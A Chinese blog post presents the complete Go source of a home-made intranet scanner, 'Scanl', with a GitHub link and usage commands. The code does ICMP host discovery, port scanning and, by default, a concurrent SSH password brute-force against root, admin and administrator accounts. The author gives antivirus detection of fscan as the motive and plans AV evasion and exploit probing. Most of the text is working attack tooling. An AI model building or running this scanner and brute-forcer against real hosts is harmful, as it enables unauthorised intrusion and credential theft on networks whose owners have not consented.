【安全开发】内网扫描器

文章目录


前言

为什么要写这个?

  1. fscna被杀的概率太高(哪天二开一下免杀)。
  2. go还在学习的阶段正是写项目的时候,边写边学习go项目。
  3. 自己写的项目改起来更加方便。
  4. 实现功能暂时定为网段扫描和暴力破解和输出文档。

现实现的功能较少后序开发会逐步加入简单漏洞探探测和代理功能。

一、开发过程

项目已经打包上传至github:https://github.com/19xinan/Scanl

1.项目结构

项目结构非常简单,现在开发的基本功能包括主机存活探测、端口扫描、暴力破解功能其他功能后序开发。

go 复制代码
scanl/
|-- main.go //程序入口,主函数包括命令格式和网段格式限制
|-- core/
|   |-- scanner.go// 扫描器,包括线程控制
|   |-- services.go//服务识别
|-- bruteforce/
|   |-- bruteforce.go//暴力破解模版
|-- pass.txt//暴力破解使用的密码文件

2.main.go

1.实现网段限制

2.实现网段存活探测

3.实现命令行参数限制

4.实现输出扫描结果文档

go 复制代码
package main

import (
	"flag"
	"fmt"
	"net"
	"os"
	"sync"
	"time"

	"scanl/bruteforce"
	"scanl/core"
)

func main() {
	fmt.Println(`
  ██████  ▄████▄   ▄▄▄       ███▄    █  ██▓    
▒██    ▒ ▒██▀ ▀█  ▒████▄     ██ ▀█   █ ▓██▒    
░ ▓██▄   ▒▓█    ▄ ▒██  ▀█▄  ▓██  ▀█ ██▒▒██░    
  ▒   ██▒▒▓▓▄ ▄██▒░██▄▄▄▄██ ▓██▒  ▐▌██▒▒██░    
▒██████▒▒▒ ▓███▀ ░ ▓█   ▓██▒▒██░   ▓██░░██████▒
▒ ▒▓▒ ▒ ░░ ░▒ ▒  ░ ▒▒   ▓▒█░░ ▒░   ▒ ▒ ░ ▒░▓  ░
░ ░▒  ░ ░  ░  ▒     ▒   ▒▒ ░░ ░░   ░ ▒░░ ░ ▒  ░
░  ░  ░  ░          ░   ▒      ░   ░ ░   ░ ░   
      ░  ░ ░            ░  ░         ░     ░  ░
         ░
	`)

	// 解析命令行参数:-h网段、-all全端口、-t线程数、-pwd指定密码文件、-output指定输出文件名(不指定默认输出)
	subnet := flag.String("h", "", "Target subnet for scanning (e.g., 192.168.10.0/24)")
	allPorts := flag.Bool("all", false, "Scan all ports (0-65535)")
	threads := flag.Int("t", 100, "Number of concurrent threads")
	passwordFile := flag.String("pwd", "pass.txt", "Password file for bruteforce")
	outputFile := flag.String("output", "scan_results.txt", "Output file for scan results")
	flag.Parse()
	//检查网段
	if *subnet == "" {
		fmt.Println("Usage: ScanL.exe -h <target_subnet> [-all] [-t N] [-pwd pass.txt] [-output scan_results.txt]")
		os.Exit(1)
	}

	// 打开输出文件
	outputFileHandle, err := os.OpenFile(*outputFile, os.O_CREATE|os.O_WRONLY|os.O_TRUNC, 0644)
	if err != nil {
		fmt.Printf("Error opening output file: %v\n", err)
		os.Exit(1)
	}
	defer outputFileHandle.Close()

	// 解析网段
	ips, err := expandCIDR(*subnet)
	if err != nil {
		fmt.Fprintf(outputFileHandle, "Error parsing subnet: %v\n", err)
		os.Exit(1)
	}

	var wg sync.WaitGroup
	var mutex sync.Mutex
	var aliveHosts []string

	// 检测存活主机并输出到终端和文件
	for _, ip := range ips {
		wg.Add(1)
		go func(ip string) {
			defer wg.Done()
			if isHostAlive(ip) {
				mutex.Lock()
				aliveHosts = append(aliveHosts, ip)
				mutex.Unlock()
				fmt.Printf("Host %s is alive\n", ip)
				fmt.Fprintf(outputFileHandle, "Host %s is alive\n", ip)
			} else {
				fmt.Printf("Host %s is not alive\n", ip)
				fmt.Fprintf(outputFileHandle, "Host %s is not alive\n", ip)
			}
		}(ip)
	}

	wg.Wait()

	// 输出存活主机到文件
	fmt.Fprintln(outputFileHandle, "Alive hosts in subnet:")
	for _, ip := range aliveHosts {
		fmt.Fprintln(outputFileHandle, ip)
	}

	var ports []int
	if *allPorts {
		ports = make([]int, 65536)
		for i := 0; i <= 65535; i++ {
			ports[i] = i
		}
	} else {
		ports = []int{21, 22, 23, 25, 53, 80, 110, 119, 123, 143, 161, 194, 443, 445, 465, 587, 993, 995, 1433, 1521, 1723, 3306, 3389, 5900, 8080, 8443, 8888, 9090, 7001, 9999, 6379, 9200, 9300, 27017} // 精简端口列表
	}

	// 扫描主机并输出结果到终端和文件
	for _, ip := range aliveHosts {
		fmt.Fprintf(outputFileHandle, "Scanning host: %s\n", ip)
		fmt.Printf("Scanning host: %s\n", ip)
		results := core.ScanPorts(ip, ports, *threads)

		fmt.Fprintf(outputFileHandle, "Open ports on host %s:\n", ip)
		fmt.Printf("Open ports on host %s:\n", ip)
		for port, service := range results {
			if service != "Closed" {
				fmt.Fprintf(outputFileHandle, "Port %d: %s\n", port, service)
				fmt.Printf("Port %d: %s\n", port, service)
			}
		}

		// 默认启用暴力破解模块,针对开启了SSH或RDP的端口
		if service, found := results[22]; found && service == "SSH" {
			fmt.Fprintln(outputFileHandle, "Starting bruteforce attack on SSH...")
			fmt.Println("Starting bruteforce attack on SSH...")
			bruteforce.Bruteforce(ip, 22, *passwordFile)
		}
		//RDP实现有问题暂存
		//if service, found := results[3389]; found && service == "RDP" {
		//	fmt.Fprintln(outputFileHandle, "Starting bruteforce attack on RDP...")
		//	fmt.Println("Starting bruteforce attack on RDP...")
		//	bruteforce.Bruteforce(ip, 3389, *passwordFile)
		//}

		fmt.Fprintln(outputFileHandle, "---------------------------------------------")
		fmt.Println("---------------------------------------------")
	}

	fmt.Printf("Scan results saved to %s\n", *outputFile)
}

// expandCIDR 解析网段,生成所有 IP 地址
func expandCIDR(cidr string) ([]string, error) {
	ip, ipNet, err := net.ParseCIDR(cidr)
	if err != nil {
		return nil, err
	}

	var ips []string
	for ip := ip.Mask(ipNet.Mask); ipNet.Contains(ip); inc(ip) {
		ips = append(ips, ip.String())
	}

	// 排除网络地址和广播地址
	lenIPs := len(ips)
	switch {
	case lenIPs < 2:
		break
	case lenIPs > 2:
		ips = ips[1 : len(ips)-1]
	}

	return ips, nil
}

// IP地址递增
func inc(ip net.IP) {
	for j := len(ip) - 1; j >= 0; j-- {
		ip[j]++
		if ip[j] > 0 {
			break
		}
	}
}

// isHostAlive 检测主机是否存活
func isHostAlive(ip string) bool {
	timeout := 2 * time.Second
	conn, err := net.DialTimeout("ip4:icmp", ip, timeout)
	if err != nil {
		return false
	}

	defer conn.Close()
	return true
}

3.core模块

3.1 scanner.go

go 复制代码
package core

import (
	"fmt"
	"net"
	"sync"
	"time"
)

// ScanPorts 扫描指定主机的指定端口,使用指定数量的并发线程
func ScanPorts(host string, ports []int, threads int) map[int]string {
	results := make(map[int]string)
	var mu sync.Mutex
	var wg sync.WaitGroup
	portChan := make(chan int, len(ports))

	// 启动指定数量的goroutines
	for i := 0; i < threads; i++ {
		wg.Add(1)
		go func() {
			defer wg.Done()
			for port := range portChan {
				service := scanPort(host, port)
				mu.Lock()
				results[port] = service
				mu.Unlock()
			}
		}()
	}

	// 将所有端口放入通道
	for _, port := range ports {
		portChan <- port
	}
	close(portChan)

	wg.Wait()
	return results
}

// scanPort 扫描单个端口
func scanPort(host string, port int) string {
	address := fmt.Sprintf("%s:%d", host, port)
	conn, err := net.DialTimeout("tcp", address, 1*time.Second)
	if err != nil {
		return "Closed"
	}
	defer func(conn net.Conn) {
		err := conn.Close()
		if err != nil {

		}
	}(conn)
	return identifyService(port)
}

3.2 service.go

go 复制代码
package core

// identifyService 根据端口号识别服务
func identifyService(port int) string {
	services := map[int]string{
		21:    "FTP",
		22:    "SSH",
		23:    "Telnet",
		25:    "SMTP",
		53:    "DNS",
		80:    "HTTP",
		110:   "POP3",
		119:   "NNTP",
		123:   "NTP",
		143:   "IMAP",
		161:   "SNMP",
		194:   "IRC",
		443:   "HTTPS",
		445:   "SMB",
		465:   "SMTPS",
		587:   "Submission",
		993:   "IMAPS",
		995:   "POP3S",
		1433:  "MSSQL",
		1521:  "Oracle DB",
		1723:  "PPTP",
		3306:  "MySQL",
		3389:  "RDP",
		5900:  "VNC",
		8080:  "HTTP-Proxy",
		8443:  "HTTPS-Alt",
		8888:  "HTTP-Alt",
		9090:  "Weblogic",
		7001:  "Weblogic-Alt",
		9999:  "HTTP-Alt2",
		6379:  "Redis",
		9200:  "Elasticsearch",
		9300:  "Elasticsearch-Transport",
		27017: "MongoDB",
	}

	if service, found := services[port]; found {
		return service
	}
	return "Unknown"
}

4.bruteforc

这里少了rdp的爆破

4.1 bruteforce.go

go 复制代码
package bruteforce

import (
	"bufio"
	"fmt"
	"os"
	"sync"
	"time"

	"golang.org/x/crypto/ssh"
)

// 默认账号列表
var defaultAccounts = []string{"root", "admin", "administrator"}

// Bruteforce 执行暴力破解攻击
func Bruteforce(host string, port int, passwordFile string) {
	passwords, err := readPasswords(passwordFile)
	if err != nil {
		fmt.Printf("Error reading password file: %v\n", err)
		return
	}

	var wg sync.WaitGroup
	wg.Add(len(defaultAccounts) * len(passwords))

	// 并发尝试不同的账号和密码组合
	for _, account := range defaultAccounts {
		for _, password := range passwords {
			go func(host string, port int, account string, password string) {
				defer wg.Done()
				fmt.Printf("Trying account: %s, password: %s\n", account, password)
				if sshLogin(host, port, account, password) {
					fmt.Printf("SSH login successful: %s:%s@%s\n", account, password, host)
				}
			}(host, port, account, password)
		}
	}

	wg.Wait()
}

// readPasswords 读取密码文件
func readPasswords(filePath string) ([]string, error) {
	file, err := os.Open(filePath)
	if err != nil {
		return nil, err
	}
	defer func(file *os.File) {
		err := file.Close()
		if err != nil {

		}
	}(file)

	var passwords []string
	scanner := bufio.NewScanner(file)
	for scanner.Scan() {
		passwords = append(passwords, scanner.Text())
	}

	if err := scanner.Err(); err != nil {
		return nil, err
	}

	return passwords, nil
}

// sshLogin 尝试使用SSH登录
func sshLogin(host string, port int, username, password string) bool {
	config := &ssh.ClientConfig{
		User: username,
		Auth: []ssh.AuthMethod{
			ssh.Password(password),
		},
		HostKeyCallback: ssh.InsecureIgnoreHostKey(),
		Timeout:         5 * time.Second,
	}

	conn, err := ssh.Dial("tcp", fmt.Sprintf("%s:%d", host, port), config)
	if err != nil {
		return false
	}
	defer func(conn *ssh.Client) {
		err := conn.Close()
		if err != nil {

		}
	}(conn)
	return true
}

二、使用步骤

go 复制代码
ScanL.exe -h 192.168.10.1/24
其他参数
ScanL.exe -h <target_subnet> [-all] [-t N] [-pwd pass.txt] [-output scan_results.txt]
相关推荐
WTT00116 分钟前
2024楚慧杯WP
大数据·运维·网络·安全·web安全·ctf
群联云防护小杜3 小时前
如何给负载均衡平台做好安全防御
运维·服务器·网络·网络协议·安全·负载均衡
ihengshuai3 小时前
HTTP协议及安全防范
网络协议·安全·http
蜜獾云3 小时前
linux firewalld 命令详解
linux·运维·服务器·网络·windows·网络安全·firewalld
黑客Jack4 小时前
防御 XSS 的七条原则
安全·web安全·xss
云云3214 小时前
怎么通过亚矩阵云手机实现营销?
大数据·服务器·安全·智能手机·矩阵
桃园码工5 小时前
1-Gin介绍与环境搭建 --[Gin 框架入门精讲与实战案例]
go·gin·环境搭建
神一样的老师5 小时前
面向高精度网络的时间同步安全管理架构
网络·安全·架构
云中谷5 小时前
Golang 神器!go-decorator 一行注释搞定装饰器,v0.22版本发布
go·敏捷开发
云云3217 小时前
云手机方案全解析
大数据·服务器·安全·智能手机·矩阵